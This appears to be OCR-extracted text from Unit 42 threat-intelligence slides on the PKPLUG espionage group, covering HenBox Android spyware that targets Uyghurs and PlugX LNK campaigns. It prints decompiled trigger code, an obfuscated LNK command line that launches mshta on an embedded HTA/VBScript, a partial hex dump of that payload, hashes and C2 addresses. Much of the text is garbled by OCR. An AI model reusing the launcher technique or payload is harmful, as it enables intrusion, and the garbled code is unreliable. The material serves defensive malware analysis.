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PKPLUG Overview

Espionage motivated group, or groups
Unit 42 actively tracking for 3 years
Active for at least 6 years

Uses publicly available and custom malware

Poison lvy, PlugX and Zupdax; 9002, HenBox and Farseer.
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HenBox Overview
Custom malware for Android
Inclusion of tools (SU, BusyBox, Anti-emu/analysis, ...)
Over 400 samples since 2015
Appears to primarily target the Uyghurs

Infrastructure ties with targeted attacks and a focus on politics in Southeast and

Central Asia.




HenBox - the name

APPS

com.android.henbox

CN=henbox: OU=henbox: O=henbox: L=Guangzhou: \
ST=Guangdong: C=CN

Masquerades as a variety of legitimate Android apps

Chinese manufacturer Xiaomi and MIUI

public static boolean a()

{
if ("XIAOMI".equals(Bulld.BRAND.toUpperCase()));
String str;
do
{

return true;

str = Bulld.FINGERPRINT.toUpperCase();
}
while ((str.contains("XIAOMI")) || (str.contains("MIUI")));
return false;

WIDGETS




Delivery

May 2016, app downloaded

Droid VPN

uyghurapps\.net/mobile/downAction.action?appld=40

“DroidVPN” app name
com.android.henbox package name

Uyghurapps|.]net

Win32, Apache (2.0.65) _ p il ik phalucs

UNIT fa=f



Set

App & Package Names _

No secret
Backup
1QlvYIl
DETECT LANGUAGE CHINESE URDU ARABIC v & ENGLISH PERSIAN CHINESE (SIMPLIFIED) v Backup service
- - Cloud module
otkax EETHERNDMHREREERIBHENATE, & X  Otkaxis an app that is specially designed for W ELAbS T A KA A City dating dating
PH?E%%E’\J—%’\APW domestic minority people to download and install. E A System desktop
Otkax shi zhuanmén wai guénai shioshti minz quinzhdng tigding yingydng xiazai, BEZiE Synchronization service
yingydng anzhuang de y7 kuan APP ﬁﬁ%'ri'ﬁ% Eggpla nt fast pass

ORI 355000 HE - L) a7z < 1R ZF Fast tooth

2RSS Framework service

Count of sha256 Column|

Row Labels 727777 7 ? Hawar.cn islamawazi Jihad Nasheed lock Nur.cn Otkax QQ SamsungService

k)
Grand Total




HenBox App Structure

Numerous components
XOR & RC4 ; Zlib & ZIP
Optional decoy app
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China’s Crackdown on

Uighurs in Xinjiang

® ® ¢
Chlna IHStall] More than a million Muslims have been arbitrarily detained
Musli I] ] h O in China’s Xinjiang Province. The reeducation camps are just

one part of the government’s crackdown on Uighurs.

o
Secul‘lt) Is Ch Backgrounder by Lindsay Maizland
Officials collect biome Uygl April 11, 2019
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Tuesday 11 September 2018 0
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HenBox & Xiaomi Triggers

<service android:enabled="true" android:exported="false" android:name="com.android.backup.AlarmService Service"
android:priority="1000"/>
—<receiver android:name="com.android.henbox.BootReceiver">

—<intent-filter android:priority="1000">
<action android:name="android.intent.action. BOOT COMPLETED"/>
<action android:name="com.xlaomi.smarthome.receive alarm"/>
<action android:name="android.intent.acton.resar
<action android:name="android.intent.action.SIM_ STATE CHANGED"/>
<category android:name="android.intent.category. DEFAULT"/>

</intent-filter>
—~<intent-filter>

2018 - World’s 4th largest smartphone company

#1 in China & India; overtook Samsung




HenBox: Objectives

07994c9f2eeeede199dd6b4e760fce37

1f03f3cc4307e6551c18d2fbd024a24f
R99|Ster8 SMS handler Package Name com.android.henbox

App Name #17 (Backup)
First Seen January 3% 2018

Monitor device logs and system information

Monitors outgoing calls (+86 prefix)

Location tracking XTI WhatsApp Messenger

n/a

Telegram

Facebook

com.twitter.android Twitter

LINE: Free Calls & Messages

Coco

BeeTalk

TalkBox Voice Messenger - PTT

Viber Messenger

MOMOPEFE

Messenger — Text and Video Chat for Free

Skype; 3rd party stores only
s = -

S N

Read data from various apps




Recent Campaigns
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Recent campaigns

Ring4sky e
@h4ckak

file1: Daily News (19-8-2019)(Soft Copy).Ink
5F094CB3B92524FCED2731C57D305E78

2 PlugX samples in August 2019

file2: DSR & CSR of Special Branch Sind.exe 4 more PlugX samples pivoting on File
E5A23E8A2COF98850B1A43B595CO8EG3 Activity:
file3: NATIONAL SECURITY CONCEPT OF Clivity:
MONGOLIA.exe “Users\<user>\AppData\Local\Temp\h
OD3FBC842A430F5367D480DD1B744498 ttp_dil.dat”
c2: www.apple-net.\com “Users\<user>\AppData\Local\Temp\h
| ttp_dil.dll”
® e Revealing further C2 infrastructure:
43.251.182[.]1114
s O L ot : 154.223.150[.]105
g | Targeting: Mongolian Government

SPECIAL BRANCH SINDH

odegbmgonborudt DAILY SITUATION REPORT.
ehcogipocbountt X .
ocboguSel Tuesday, 228 JANUARY-2019.
on g §eSyps B (466 oo g 09) 15% JUMADLUL-AWWAL, 1440
Pt i (eeseseons)
PRl (B sonqpgogp +65 bo og 6o0)

Source: https://twitter.com/h4ckak/status/1163328926573137922

UNIT fazf



GIYF

82 lines (78 sloc) 7.71 KB

Malware analysis about unknown Chin

sha256

¢3159d4f85ceb84c4alf7ea
9208928e729a30ddda4fea
d7ec6257¢c7dd1984763

918de40e8ba7e9c1ba555
aa22c8acbfdf77f9c050d5d
dcd7bd0e3221195c876f

fb3e3d967 1bb733fcecd69
00def15b9a6b4f36b0a35b
dc769b0a69bc5fb7e40d

Filename

NATIONAL SECURITY
CONCEPT OF MONGOLIA.exe |
unsecapp.exe

DSR & CSR of Special Branch
Sind.exe

Daily News (19-8-2019)(Soft
Copy).Ink

Notes

Signed: ESET, spol. s r.o.

Pakistan targeting?

Vietnam targeting”?; Shortcut file
with appended HTA+VBS

Source: https://github.com/Strangereallntel/CyberThreatintel/blob/master/China/APT/Unknown/20-08-19/Malware%20analysis %2020-08-19.md

UNIT fa=f




LNK content & meta-data

ExifTool Version Number : 11.61
File Name : fb3e3d9671bb733fcecd6900def15b9a6b4£36b0a35bdc769b
0a69bc5fb7e40d.dms

Directory $ .

File Size : 1073 kB

File Modification Date/Time ¢ 2019:10:01 17:01:15+01:00

File Access Date/Time : 2019:10:01 17:14:12+01:00

File Inode Change Date/Time : 2019:10:01 17:01:32+01:00

File Permissions ! rw-r--r--

File Type : LNK

File Type Extension : lnk

MIME Type : application/octet-stream

Flags : IDList, LinkInfo, Description, RelativePath, Comma
ndArgs, IconFile, Unicode, ExpString

File Attributes : Archive

Create Date : 2010:11:21 03:24:03+00:00

Access Date ¢ 2010:11:21 03:24:03+00:00

Modify Date : 2010:11:21 03:24:03+00:00

Target File Size : 302592

Icon Index sl

Run Window : Show Minimized No Activate

Hot Key : (none)

Target File DOS Name : cmd.exe

Drive Type : Fixed Disk

Volume Label

Local Base Path : C:\Windows\System32\cmd.exe

Description : Dally News (19-8-2019) (Soft Copy).lnk

Pala+iwva Dat+h . A\ \Windawe\Cuetram2?\Aamd ava

Command Line Arguments /c for $x in (%temp%=%cd%) do for /f "delims==" %i
in ('dir "$x\Daily News (19-8- 2019)(Soft Copy) .1nk" /s /b') do start m%$windir:~-1,1
$hta.exe "%i"

Teon File Name : %SvstemRoot%\svatem32\SHELL32.d1l1l

Machine ID : win-jgq9h4gp3adu

. .win-jg9h4gp3a4
b0 75 00 26 88 6¢c 15 a7 e4 ce 45 a7 be ab ef 6d 17 Mkl eeE e Mo
c0 36 cl ac c9 e2 04 9o b5 e9 11 9b 22 00 Oc 29 a3 (e v s & s ) e
d0 d8 67 26 88 6¢c 15 a7 e4 ce 45 a7 be ab ef 6d 17 gk.l....E....m.
e0 36 cl ac c9 e2 04 9bp b5 €9 11 9b 22 00 Oc 29 a3 |A. .. ... ... ",,),!
fO d8 67 00 00 00 00 0d Oa 3c 21 44 4f 43 54 59 50 R Giate etore <!DOCTYP
00 45 20 68 74 6d 6c 3e 0d Oa 3c 68 74 6d 6¢c 3e 0d |E html>..<html>.
10 Oa 3c 68 65 61 64 3e 0d Oa 3c 48 54 41 3a 41 50 .<head>. .<HTA:AP
20 50 4c 49 43 41 54 49 4f 4e 20 69 63 6f 6e 3d 22 PLICATION icon="
30 23 22 20 57 49 4e 44 4f 57 53 54 41 54 45 3d 22 #" WINDOWSTATE="
40 6d 69 6e 69 6d 69 7a 65 22 20 53 48 4f 57 49 4e |minimize’ anuw;mi
50 54 41 53 4b 42 41 52 3d 22 6e 6f 22 20 53 59 53 TASKBAR="no" SYS
60 4d 45 4e 55 3d 22 6e 6f 22 20 20 43 41 50 54 49 MENU="no" CAPTI
70 4f 4e 3d 22 6e 6f 22 20 2f 3e 0d Oa 3c 73 63 72 ON="no" />..<scr
80 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 76 ipt type="text/v
90 62 73 63 72 69 70 74 22 3e 0d Oa 64 69 6d 20 4b bscript">..dim K
a0 58 4b 53 6d 47 6d 4e 4e 69 2c 64 5a 45 6¢c 59 50 |XKSmeNNi,dZElYP|
b0 4c 6e 4b 6c 2c 59 42 41 4e 67 46 78 78 63 52 0d |LnKl,YBANgFXXcR. |
c0 0a 0d Oa 4b 58 4b 53 6d 47 6d 4e 4e 69 20 3d 20 |...KXKSmGmNNi = l

d0 22 34 44 35 41 39 30 30 30 30 33 30 30 30 30 30 "4D5A90000300000
e0 30 30 34 30 30 30 30 30 30 46 46 46 46 30 30 30 |UU=2UUUUUUCLEEUUY |
fO 30 42 38 30 30 30 30 30 30 30 30 30 30 30 30 30 |0B80000000000000 |
00 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 |0400000000000000
10 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
20 30 30 30 30 30 30 30 30 30 30 30 22 0d 0Oa 4b 58 00000000000". .KX
KSmeNNl = KXKSm




LNK files by host: win-jq9h4qp3a4u

LNK sha256

ce1848033aa82f408
201695f718fd82b8a1
dd0d588332bc003c7
abb6ce2664a2

7'77e36fcc5648fc6bd
28bc35391f756d87a
649e97cfab9bffod12
92d0bfffd20

LNK Command Line Argument

Ic for %x in (Y%temp%=%cd%) do for /f
"delims==" %i in ('dir "%x\S_2019_50_E.Ink"
/s Ib")[do start m%windir:~m%hta.exe "%oi"

/¢ t%windir:~-3,1%%PUBLIC:~-9,1% %X in
(Y%otemp%=%cd%) do
f%windir:~-3,1%%PUBLIC:~-9,1% /f
"delims==" %i in (‘dir "%x\For National
Department Sar KNU JMC people Meeting
2019.Ink" /s /b’
%TEMP:~-2,1%%windir:~-1,
3,1%%TEMP:~-7,1%.exe "

%h%TEMP:~-1
Jol"

Notes:

UN Security Council: “Letter
dated 15 January 2019...”

The Karen National Union
(KNU) plenary meeting
among Joint Monitoring
Committee (JMC)
representatives.




LNK filenames by CLI argument: “windir:~-” & “do start”

chuong trinh dang huong.doc.Ink

Chuong trinh hoi nghi.doc.Ink

GIAY MOI.doc.Ink

421 CV.doc.Ink

GIAYMOI.doc.Ink

CV trao doi CAT Cao Bang.doc.Ink
cf56ee00be8ca49d150d85dch6d2f336.jpg.Ink
Daily News (19-8-2019)(Soft Copy).Ink
32_1.PDF.Ink

TCO BT 574.doc.Ink

vai tro cua nhan dan.doc.Ink

tieu luan ve quyen lam chu cua nhan dan.docx.Ink
sach tham khao Bo mon.docx.Ink




LNK hostnames by CLI argument: “windir:~-” & “do start”

(e, J,
win-egbvi09sep9 . ‘
win-jg9h4gp3adu
win-2a9b78ts069 s
win-nuptedkl53m / e




Adversary Playbooks




OILRIG
SOFACY
PICKAXE
PATCHWORK
DARKHYDRUS
REAPER
RANCOR

TICK
DRAGONOK
MENUPASS

Unveiling 11 New Adversary
Playbooks

By Unit 42
July 30, 2019 at 6:00 AM

9 19

3 min. read

EMISSARY PANDA
MUDDY WATER
CHAFER

ROCKE GROUP
COBALT GANG
COZYDUKE
GORGON GROUP
INCEPTION
SCARLET MIMIC
TH3BUG
WINDSHIFT




ATTACK LIFECYCLE

A linear,
phase-based
process an
adversary must
complete to
successfully execute
an attack

ATT&CK

MITRE’s Adversarial
Tactics, Techniques,
and Common
Knowledge
(ATT&CK™) is a
curated knowledge
base and model for
cyber adversary
bbehavior

ATTACK LIFE CYCLE

ATT&CK

PLAYBOOKS

A method of
organizing tactics,
tools, and
procedures
adversaries used in
a structured data
format

STIX 2.0

Structured Threat
Information
Expression (STIX™)
is a language and
serialization format
used to exchange
cyber threat
intelligence




ADVERSARY

|

ATTACRILUFECYCLE

IDENTHKTERJACTICS

|

INDICATORS




UN|TFZ PLAYBOOK VIEWER

Unit 42 created the moniker PKPLUG to reference a threat actor group, or groups, we have been tracking for the past few years.
The name comes from the use of PlugX malware, which we noted the adversary using in their early campaigns, and from the

VAR e N ber 2015 to July 2019 o . . - ini
PLAYBOOK WALKTHROUGH ovember ol use of ZIP archive files used to deliver the malware; the ZIP file format contains the ASCII magic-bytes “PK" in its header. Over
the years Unit 42 has discovered additional, mostly custom, malware families being used by PKPLUG, including an Android app
OILRIG April 2016 to Mau 2019 and a Windows backdoor described briefly in this report. Other “usual suspect" malware have also been seen in relation to
P Y PKPLUG activity, including Poison Ivy, Zupdax and 9002. Based on targeting, content in some of the malware, and ties to
SDFACY inf, £, H Lie ol A hlicall hal Lnbind +a Ohi T 4ot ! L Liniy A0 l'"i”EVES With hlgh
PICKAXE Technique: T1474: Supply Chain Compromise (Mobile)™*** X Luchos app
f writing, Unit 42
PATCHWOI eh
Description Indicator Pattern Malware [l 50 forth.
DARKHYDFR g they installed
Hash of HenBox APK purporting to be DroidVPN app on 3rd party app  [file:hashes. 'SHA-256" = Google Play app
REAPER store "0589bed1e3b3d6234c30061be3be1cc6685d786ab3a892a8d4dae8e2d7ed92f 7" ] SIS e
ihe Miiclimm And
RANCOR 3rd party app store APK URL [url:value = 'uyghurapps.net/mobile/downAction.action?appId=40"']
TICK
DRAGONOK
RECON WEAPONIZATION DELIVERY EXPLOIT INSTALL COMMAND OBJECTIVE
MENUPASS
T1249: Conduct social T1345: Create custom T1476: Deliver Malicious T1027: Obfuscated Files T1071: Standard T1429: Microphone or
EMISSARY PANDA engineering payloads App via Other Means or Information Application Layer Camera Recordings
(Mobile) Protocol (Mobile)
MUDDY WATER . ’
cwee https;//pan-u t42 github,io/playbook_, v
iden a n r/:!q!nre and/or ain I O a OO user E@uwe r 065: Uncommonly T1433: Access Call Log
ROCKE GROUP technology usage use 3rd party Compromise (Mobile) Used Port (Mobile)
patterns infrastructure services

COBALT GANG
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unit42.paloaltonetworks.com
Twitter: @AlexHinchliffe, @Unit42_Intel



